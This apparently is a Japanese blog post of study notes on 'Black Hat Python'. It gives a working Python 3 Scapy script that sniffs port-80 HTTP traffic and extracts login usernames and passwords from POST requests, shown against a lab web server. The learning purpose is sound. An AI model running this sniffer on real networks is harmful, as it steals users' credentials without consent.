本記事は、オライリージャパンから発行されている「サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考(原題:Black Hat Python)」の学習メモとして、書籍ではPython2で書かれていますが、自分なりに解釈した上でPython3に書き直しをしています。
前回はScapyを使ったパケットキャプチャの方法を学びました。
今回は続きとして、キャプチャしたパケットから認証情報に係る部分をフィルタする方法について学んでいきます。
はじめに
今回は、前回作成したスクリプトを少し拡張してみます。
書籍では電子メールの認証情報として、POP3、IMAP、SMTPをそれぞれフィルタしていますが、ここでは仮想環境上のWebサーバにおけるログイン情報をフィルタしてみます。
スクリプトの作成
以下が今回のスクリプトになります。
# http_sniffer.py from scapy.all import * import re def http_callback(pkt): if pkt[TCP].payload: http_pkt = str(pkt[TCP].payload).split("'")[1] if 'post' in http_pkt.lower(): if 'user' in http_pkt.lower() and 'password' in http_pkt.lower(): url = re.search(r"Referer: (.*)\\r\\n", http_pkt).group(1).split('\\r\\n')[0] user, passwd = re.search(r"\\r\\n\\r\\nuser=(.*)&password=(.*)", http_pkt).groups() print('[*] URL: {}'.format(url)) print('[*] Login Info: user={} password={}'.format(user, passwd)) sniff(filter="tcp port 80", prn=http_callback, store=0)
sniff()の引数である"filter"に関しては、HTTPのポート番号80を指定します。
また引数の"store"は、メモリ上にパケットを保持するか否かを指定するもので、"store=0"にすると保持しなくなります。
コールバック関数に関しては、POSTメソッドがあるか確認し、さらにパラメータとして"user"と"password"があるかを確認します。
上記にマッチすれば、ログイン先のURLとログイン情報を出力します。
動作確認
それでは、ローカルホストのコマンドプロンプトから上記のスクリプトを起動し、ブラウザから仮想環境上のWebサーバのログインページにアクセスしてみます。
> python http_sniffer.py [*] URL: http://192.168.0.1/login/login.html [*] Login Info: user=admin password=pass
問題なくログイン情報を取得できたことが確認できました。
最後に
今回はScapyのsniff()を使ってWebサーバのログイン情報の抽出方法について学びました。
これらを自分なりにカスタマイズすれば、Wiresharkなどにはない柔軟な処理を行うことができそうです。